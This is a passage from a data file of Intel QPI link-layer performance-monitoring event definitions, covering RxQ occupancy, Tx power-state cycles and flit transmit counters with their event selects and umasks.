"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime.",
"Desc": "RxQ Occupancy - All Packets",
"EvSel": 11,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
"QPI_LL.RxL_OCCUPANCY_DRS": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors DRS flits only.",
"Desc": "RxQ Occupancy - DRS",
"EvSel": 21,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
"QPI_LL.RxL_OCCUPANCY_DRS.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors DRS flits only.",
"Desc": "RxQ Occupancy - DRS",
"EvSel": 21,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_OCCUPANCY_DRS.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors DRS flits only.",
"Desc": "RxQ Occupancy - DRS",
"EvSel": 21,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_OCCUPANCY_HOM": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors HOM flits only.",
"Desc": "RxQ Occupancy - HOM",
"EvSel": 24,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
"QPI_LL.RxL_OCCUPANCY_HOM.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors HOM flits only.",
"Desc": "RxQ Occupancy - HOM",
"EvSel": 24,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_OCCUPANCY_HOM.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors HOM flits only.",
"Desc": "RxQ Occupancy - HOM",
"EvSel": 24,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_OCCUPANCY_NCB": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors NCB flits only.",
"Desc": "RxQ Occupancy - NCB",
"EvSel": 22,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
"QPI_LL.RxL_OCCUPANCY_NCB.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors NCB flits only.",
"Desc": "RxQ Occupancy - NCB",
"EvSel": 22,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_OCCUPANCY_NCB.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors NCB flits only.",
"Desc": "RxQ Occupancy - NCB",
"EvSel": 22,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_OCCUPANCY_NCS": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors NCS flits only.",
"Desc": "RxQ Occupancy - NCS",
"EvSel": 23,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
"QPI_LL.RxL_OCCUPANCY_NCS.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors NCS flits only.",
"Desc": "RxQ Occupancy - NCS",
"EvSel": 23,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_OCCUPANCY_NCS.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors NCS flits only.",
"Desc": "RxQ Occupancy - NCS",
"EvSel": 23,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_OCCUPANCY_NDR": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors NDR flits only.",
"Desc": "RxQ Occupancy - NDR",
"EvSel": 26,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
"QPI_LL.RxL_OCCUPANCY_NDR.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors NDR flits only.",
"Desc": "RxQ Occupancy - NDR",
"EvSel": 26,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxxx1",
},
"QPI_LL.RxL_OCCUPANCY_NDR.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors NDR flits only.",
"Desc": "RxQ Occupancy - NDR",
"EvSel": 26,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_OCCUPANCY_SNP": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors SNP flits only.",
"Desc": "RxQ Occupancy - SNP",
"EvSel": 25,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
"QPI_LL.RxL_OCCUPANCY_SNP.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors SNP flits only.",
"Desc": "RxQ Occupancy - SNP",
"EvSel": 25,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxx1x",
},
"QPI_LL.RxL_OCCUPANCY_SNP.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL RXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of elements in the QPI RxQ in each cycle. Generally, when data is transmitted across QPI, it will bypass the RxQ and pass directly to the ring interface. If things back up getting transmitted onto the ring, however, it may need to allocate into this buffer, thus increasing the latency. This event can be used in conjunction with the Flit Buffer Not Empty event to calculate average occupancy, or with the Flit Buffer Allocations event to track average lifetime. This monitors SNP flits only.",
"Desc": "RxQ Occupancy - SNP",
"EvSel": 25,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
"Umask": "bxxxxxxx1",
},
"QPI_LL.TxL0P_POWER_CYCLES": {
"Box": "QPI_LL",
"Category": "QPI_LL POWER_TX Events",
"Counters": "0-3",
"Defn": "Number of QPI qfclk cycles spent in L0p power mode. L0p is a mode where we disable 1/2 of the QPI lanes, decreasing our bandwidth in order to save power. It increases snoop and data transfer latencies and decreases overall bandwidth. This mode can be very useful in NUMA optimized workloads that largely only utilize QPI for snoops and their responses. Use edge detect to count the number of instances when the QPI link entered L0p. Link power states are per link and per direction, so for example the Tx direction could be in one state while Rx was in another.",
"Desc": "Cycles in L0p",
"EvSel": 13,
"ExtSel": "",
"Notes": "Using .edge_det to count transitions does not function if L1_POWER_CYCLES > 0.",
},
"QPI_LL.TxL0_POWER_CYCLES": {
"Box": "QPI_LL",
"Category": "QPI_LL POWER_TX Events",
"Counters": "0-3",
"Defn": "Number of QPI qfclk cycles spent in L0 power mode in the Link Layer. L0 is the default mode which provides the highest performance with the most power. Use edge detect to count the number of instances that the link entered L0. Link power states are per link and per direction, so for example the Tx direction could be in one state while Rx was in another. The phy layer sometimes leaves L0 for training, which will not be captured by this event.",
"Desc": "Cycles in L0",
"EvSel": 12,
"ExtSel": "",
"Notes": "Includes L0p cycles. To get just L0, subtract TxL0P_POWER_CYCLES",
},
"QPI_LL.TxL_BYPASSED": {
"Box": "QPI_LL",
"Category": "QPI_LL TXQ Events",
"Counters": "0-3",
"Defn": "Counts the number of times that an incoming flit was able to bypass the Tx flit buffer and pass directly out the QPI Link. Generally, when data is transmitted across QPI, it will bypass the TxQ and pass directly to the link. However, the TxQ will be used with L0p and when LLR occurs, increasing latency to transfer out to the link.",
"Desc": "Tx Flit Buffer Bypassed",
"EvSel": 5,
"ExtSel": "",
},
"QPI_LL.TxL_CYCLES_NE": {
"Box": "QPI_LL",
"Category": "QPI_LL TXQ Events",
"Counters": "0-3",
"Defn": "Counts the number of cycles when the TxQ is not empty. Generally, when data is transmitted across QPI, it will bypass the TxQ and pass directly to the link. However, the TxQ will be used with L0p and when LLR occurs, increasing latency to transfer out to the link.",
"Desc": "Tx Flit Buffer Cycles not Empty",
"EvSel": 6,
"ExtSel": "",
},
"QPI_LL.TxL_FLITS_G0": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. It includes filters for Idle, protocol, and Data Flits. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time (for L0) or 4B instead of 8B for L0p.",
"Desc": "Flits Transferred - Group 0",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
},
"QPI_LL.TxL_FLITS_G0.DATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. It includes filters for Idle, protocol, and Data Flits. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time (for L0) or 4B instead of 8B for L0p.",
"Desc": "Flits Transferred - Group 0",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000010",
},
"QPI_LL.TxL_FLITS_G0.NON_DATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. It includes filters for Idle, protocol, and Data Flits. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time (for L0) or 4B instead of 8B for L0p.",
"Desc": "Flits Transferred - Group 0",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000100",
},
"QPI_LL.TxL_FLITS_G1": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 1",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
},
"QPI_LL.TxL_FLITS_G1.HOM": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 1",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000110",
},
"QPI_LL.TxL_FLITS_G1.DRS_DATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 1",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00001000",
},
"QPI_LL.TxL_FLITS_G1.HOM_NONREQ": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 1",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000100",
},
"QPI_LL.TxL_FLITS_G1.DRS": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 1",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00011000",
},
"QPI_LL.TxL_FLITS_G1.HOM_REQ": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 1",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000010",
},
"QPI_LL.TxL_FLITS_G1.SNP": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 1",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000001",
},
"QPI_LL.TxL_FLITS_G1.DRS_NONDATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for SNP, HOM, and DRS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 1",
"EvSel": 0,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00010000",
},
"QPI_LL.TxL_FLITS_G2": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 2",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 2,
},
"QPI_LL.TxL_FLITS_G2.NDR_AD": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 2",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000001",
},
"QPI_LL.TxL_FLITS_G2.NDR_AK": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
